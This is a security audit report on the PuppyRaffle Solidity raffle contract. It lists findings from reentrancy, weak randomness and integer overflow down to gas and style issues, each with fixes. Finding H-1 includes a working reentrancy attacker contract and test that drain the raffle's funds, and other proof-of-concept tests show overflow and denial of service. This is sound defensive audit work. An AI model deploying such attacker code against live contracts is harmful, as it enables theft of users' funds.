Protocol Audit Report

Version 1.0

0xsyber88

April 20, 2025

Protocol Audit Report

0xsyber88

April 20, 2025

Prepared by: 0xsyber88

Table of Contents

- [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

- Medium

  - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.
  - [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals
  - [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
  - [M-4] Smart contract wallet raffle winners without a `receive` or a `fallback` function will block the start of a new contest

- Low

  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

- Gas

  - [G-1] Unchanged state variables should be declared constant or immutable
  - [G-2] Storage variables in a loop should be cached

- Informational

  - [I-1] Solidity pragma should be specific, not wide
  - [I-2] Using an outdated version of Solidity is not recommended.
  - [I-3] Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice
  - [I-5] Use of "magic" numbers is discouraged
  - [I-6] State changes are missing events
  - [I-7] _isActivePlayer is never used and should be removed
  - [I-8] Test Coverage

Protocol Summary

Puppy Raffle

Purpose

Enter a raffle to win a dog NFT (puppy).

Functions

- **enterRaffle(address[] participants)**

    – Accepts a list of unique addresses.
    – Duplicate entries are not allowed.

- **refund()**

    – Allows participants to withdraw their ticket and refund their value.

Raffle Draw

- Occurs every **X seconds**.
- Randomly selects a winner.
- Winner receives a **minted puppy NFT**.

Fees

- A feeAddress (set by the owner) receives a protocol fee.
- Remaining funds are sent to the winner.

Disclaimer

I make every effort to find as many vulnerabilities in the code within the given time period, but hold no responsibility for the findings provided in this document. This security audit is not an endorsement of the underlying business or product. The audit was time-boxed, and my review focused solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L

	Impact		
Low	M	M/L	L

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

Scope

```
1  ./src/
2  #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	3
Medium	4
Low	1
Info	8
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` functoin does not folow CEI (Check, Effects, Interactions) pattern and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
           can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
           refunded, or is not active");
5
6 >>    payable(msg.sender).sendValue(entranceFee);
7 >>    players[playerIndex] = address(0);
8      emit RaffleRefunded(playerAddress);
9  }
```

A player who has enterd the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by the raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle:refund` from their attack contract, draining the contract balance.

Proof of Code:

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1  function test_reentrancyRefund() public {
2      address[] memory players = new address[](4);
3      players[0] = playerOne;
4      players[1] = playerTwo;
```

```
 5          players[2] = playerThree;
 6          players[3] = playerFour;
 7          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
 8
 9          ReentrancyAttacker attackerContract = new ReentrancyAttacker(
                puppyRaffle);
10          address attackUser = makeAddr("attackUser");
11          vm.deal(attackUser, 1 ether);
12
13          uint256 startingAttackContractBalance = address(attackerContract).
                balance;
14          uint256 startingContractBalance = address(puppyRaffle).balance;
15
16          vm.prank(attackUser);
17          attackerContract.attack{value: entranceFee}();
18
19          console.log("starting atacker contract balance: ",
                startingAttackContractBalance);
20          console.log("starting contract balnce: ", startingContractBalance )
                ;
21
22          console.log("ending atacker contract balance: ", address(
                attackerContract).balance);
23          console.log("ending contract balance: ", address(puppyRaffle).
                balance);
24      }
```

And this contract as well

```
 1  contract ReentrancyAttacker {
 2      PuppyRaffle puppyRaffle;
 3      uint256 entranceFee;
 4      uint256 attackerIndex;
 5
 6      constructor(PuppyRaffle _puppyRaffle) {
 7          puppyRaffle = _puppyRaffle;
 8          entranceFee = puppyRaffle.entranceFee();
 9      }
10
11      function attack() external payable {
12          address[] memory players = new address[](1);
13          players[0] = address(this);
14          puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
17          puppyRaffle.refund(attackerIndex);
18      }
19
20      function _stealMoney() internal {
21          if (address(puppyRaffle).balance >= entranceFee) {
```

```
22              puppyRaffle.refund(attackerIndex);
23          }
24      }
25
26      fallback() external payable {
27          _stealMoney();
28      }
29
30      receive() external payable {
31          _stealMoney();
32      }
33  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle:refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
 1  function refund(uint256 playerIndex) public {
 2      address playerAddress = players[playerIndex];
 3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
            can refund");
 4      require(playerAddress != address(0), "PuppyRaffle: Player already
            refunded, or is not active");
 5
 6  +   players[playerIndex] = address(0);
 7  +   emit RaffleRefunded(playerAddress);
 8      payable(msg.sender).sendValue(entranceFee);
 9  -   players[playerIndex] = address(0);
10  -   emit RaffleRefunded(playerAddress);
11  }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winnig puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. A predictable is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles

Proof of Concept:

1. Validatoras can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate.

2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!

3. Users can revert their `selectWinner` transactoin if they don't like the winner or the resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space

Recommended Mitigation: Consider using a cryptographically provable random nymbre generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
1  uint64 myVar = type(uint64).max
2  //18446744073709551615
3  myVar = myVar + 1;
4  //myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees

Proof of Concept: 1. We conclude a raffle of 4 players. 2. We then have 89 players enter a new raffle, and conclude the raffle. 3. `totalFees` will be:

```
1  totalFees = totalFees + uint64(fee);
2  // substituted
3  totalFees = 800000000000000000 + 17800000000000000000;
4  // due to overflow, the following is now the case
5  totalFees = 153255926290448384;
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
1  require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point there will be too much `balance` in the contract that the above `require` will be impossible to hit

Code

```
1  function testTotalFeesOverflow() public playersEntered {
2      // We finish a raffle of 4 to collect some fees
```

```
3        vm.warp(block.timestamp + duration + 1);
4        vm.roll(block.number + 1);
5        puppyRaffle.selectWinner();
6        uint256 startingTotalFees = puppyRaffle.totalFees();
7        // startingTotalFees = 800000000000000000
8
9        // We then have 89 players enter a new raffle
10       uint256 playersNum = 89;
11       address[] memory players = new address[](playersNum);
12       for (uint256 i = 0; i < playersNum; i++) {
13           players[i] = address(i);
14       }
15       puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
16       // We end the raffle
17       vm.warp(block.timestamp + duration + 1);
18       vm.roll(block.number + 1);
19
20       // And here is where the issue occurs
21       // We will now have fewer fees even though we just finished a
            second raffle
22       puppyRaffle.selectWinner();
23
24       uint256 endingTotalFees = puppyRaffle.totalFees();
25       console.log("ending total fees", endingTotalFees);
26       assert(endingTotalFees < startingTotalFees);
27
28       // We are also unable to withdraw any fees because of the require
            check
29       vm.prank(puppyRaffle.feeAddress());
30       vm.expectRevert("PuppyRaffle: There are currently players active!")
            ;
31       puppyRaffle.withdrawFees();
32       }
```

Recommended Mitigation: There are a few possible mitigations

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`

2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you could still have a hard time with the `uint64` type if too many fees are collected.

3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1
2 -    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
```

There are more attack vectors with that final require, so I recommend removing it regardless

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `PuppyRaffle::players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for the players who enter right when the raffle starts will be dramatically lower that those who enter later. Every additional address in the `PuppyRaffle::players` array, is an additional check the loop will have to make.

```
1  for (uint256 i = 0; i < players.length - 1; i++) {
2      for (uint256 j = i + 1; j < players.length; j++) {
3          require(players[i] != players[j], "PuppyRaffle: Duplicate
              player");
4      }
5  }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue. An attacker might make the `PuppyRaffle::entrants` array so big that no one else enters, guaranteeing themselves the win

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252050 gas - 2nd 100 players: ~18068140 gas

This is more than 3x more expensive for the second 100 players.

PoC

Place the following test into the `PuppyRaffleTest.t.sol`.

```
1  function test_denialOfService() public {
2      vm.txGasPrice(1);
3
4      uint256 playersNum = 100;
5      address[] memory players = new address[](playersNum);
6      for (uint256 i = 0; i < playersNum; ++i) {
7          players[i] = address(i);
8      }
9
10     uint256 gasStart = gasleft();
11     puppyRaffle.enterRaffle{value: entranceFee * players.length}(
           players);
12     uint256 gasEnd = gasleft();
13     uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
14     console.log("Gas cost of the first 100 players", gasUsedFirst);
```

```
15
16         address[] memory playersTwo = new address[](playersNum);
17         for (uint256 i = 0; i < playersNum; ++i) {
18             playersTwo[i] = address(i + playersNum);
19         }
20
21         uint256 gasStartSecond = gasleft();
22         puppyRaffle.enterRaffle{value: entranceFee * players.length}(
               playersTwo);
23         uint256 gasEndSecond = gasleft();
24         uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
               gasprice;
25         console.log("Gas cost of the second 100 players", gasUsedSecond);
26
27         assert(gasUsedFirst < gasUsedSecond);
28     }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates, Users can make new wallet addresses anyways. so a duplicate check doesn't preven the same person from entering multiple times, only the same wallet address.

2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1  +     mapping(address => uint256) public addressToRaffleId;
2  +     uint256 public raffleId = 0;
3      .
4      .
5      .
6      function enterRaffle(address[] memory newPlayers) public payable {
7          require(msg.value == entranceFee * newPlayers.length, "
              PuppyRaffle: Must send enough to enter raffle");
8          for (uint256 i = 0; i < newPlayers.length; i++) {
9              players.push(newPlayers[i]);
10 +            addressToRaffleId[newPlayers[i]] = raffleId;
11         }
12
13 -        // Check for duplicates
14 +        // Check for duplicates only from the new players
15 +        for (uint256 i = 0; i < newPlayers.length; i++) {
16 +          require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
17 +        }
18 -        for (uint256 i = 0; i < players.length; i++) {
19 -            for (uint256 j = i + 1; j < players.length; j++) {
20 -                require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -            }
```

```
22 -         }
23         emit RaffleEnter(newPlayers);
24     }
25 .
26 .
27 .
28     function selectWinner() external {
29 +       raffleId = raffleId + 1;
30         require(block.timestamp >= raffleStartTime + raffleDuration, "
              PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's EnumerableSet library.

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1  function withdrawFees() external {
2 @>   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
        There are currently players active!");
3      uint256 feesToWithdraw = totalFees;
4      totalFees = 0;
5      (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6      require(success, "PuppyRaffle: Failed to withdraw fees");
7  }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1  function withdrawFees() external {
2 -    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
        There are currently players active!");
```

```
3       uint256 feesToWithdraw = totalFees;
4       totalFees = 0;
5       (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6       require(success, "PuppyRaffle: Failed to withdraw fees");
7   }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1   function selectWinner() external {
2       require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
3       require(players.length > 0, "PuppyRaffle: No players in raffle");
4
5       uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender
            , block.timestamp, block.difficulty))) % players.length;
6       address winner = players[winnerIndex];
7       uint256 fee = totalFees / 10;
8       uint256 winnings = address(this).balance - fee;
9  @>   totalFees = totalFees + uint64(fee);
10      players = new address[](0);
11      emit RaffleWinner(winner, winnings);
12  }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1   uint256 max = type(uint64).max
2   uint256 fee = max + 1
3   uint64(fee)
4   // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
1  // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1  -    uint64 public totalFees = 0;
2  +    uint256 public totalFees = 0;
3  .
4  .
5  .
6      function selectWinner() external {
7          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
8          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
9          uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15  -      totalFees = totalFees + uint64(fee);
16  +      totalFees = totalFees + fee;
```

[M-4] Smart contract wallet raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery rest could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allwo smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amount so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended) > Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1  /// @return the index of the player in the array, if they are not
      active, it returns 0
2  function getActivePlayerIndex(address player) external view returns (
      uint256) {
3      for (uint256 i = 0; i < players.length; i++) {
4          if (players[i] == player) {
5              return i;
6          }
7      }
8      return 0;
9  }
```

Impact: A player at index 0 may. incorrectly think they have not entered the raffle again wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. 'PuppyRaffle::getActivePlayerIndex returns 0
3. User thinks they have not entered correctly due to the function documentaion

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

you could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than rading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::LegendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient

```
1  +        uint256 playerLength = players.length;
2  -        for (uint256 i = 0; i < players.length - 1; i++) {
3  +        for (uint256 i = 0; i < playerLength - 1; i++) {
4  -            for (uint256 j = i + 1; j < players.length; j++) {
5  +            for (uint256 j = i + 1; j < playerLength; j++) {
6                  require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
7              }
8          }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol: 32:23:35

[I-2] Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
1        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 169

```
1        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice

It's best to keep code clean and follow CEI (Check, Effects, Interactions).

```
1 -    (bool success,) = winner.call{value: prizePool}("");
2 -    require(success, "PuppyRaffle: Failed to send prize pool to winner"
     );
3      _safeMint(winner, tokenId);
4 +    (bool success,) = winner.call{value: prizePool}("");
5 +    require(success, "PuppyRaffle: Failed to send prize pool to winner"
     );
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbres are given a name.

Examples:

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1  uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2  uint256 public constant FEE_PERCENTAGE = 20;
3  uint256 public constant POOL_PRECISION = 100;
```

```
1  -    uint256 prizePool = (totalAmountCollected * 80) / 100;
2  -    uint256 fee = (totalAmountCollected * 20) / 100;
3  +    uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
        / POOL_PRECISION;
4  +    uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
        PRIZE_POOL_PERCENTAGE;
```

[I-6] State changes are missing events

[I-7] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1  -function _isActivePlayer() internal view returns (bool) {
2  -    for (uint256 i = 0; i < players.length; i++) {
3  -        if (players[i] == msg.sender) {
4  -            return true;
5  -        }
6  -    }
7  -    return false;
8  -
```

[I-8] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
1 | File                              | % Lines         | % Statements
    | % Branches     | % Funcs        |
2 | ------------------------------- | ------------- | --------------
    | ------------- | ------------- |
3 | script/DeployPuppyRaffle.sol     | 0.00% (0/3)   | 0.00% (0/4)
    | 100.00% (0/0) | 0.00% (0/1)    |
4 | src/PuppyRaffle.sol              | 82.46% (47/57) | 83.75% (67/80)
    | 66.67% (20/30) | 77.78% (7/9)  |
5 | test/auditTests/ProofOfCodes.t.sol | 100.00% (7/7) | 100.00% (8/8)
    | 50.00% (1/2)   | 100.00% (2/2) |
6 | Total                            | 80.60% (54/67) | 81.52% (75/92)
    | 65.62% (21/32) | 75.00% (9/12) |
```

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.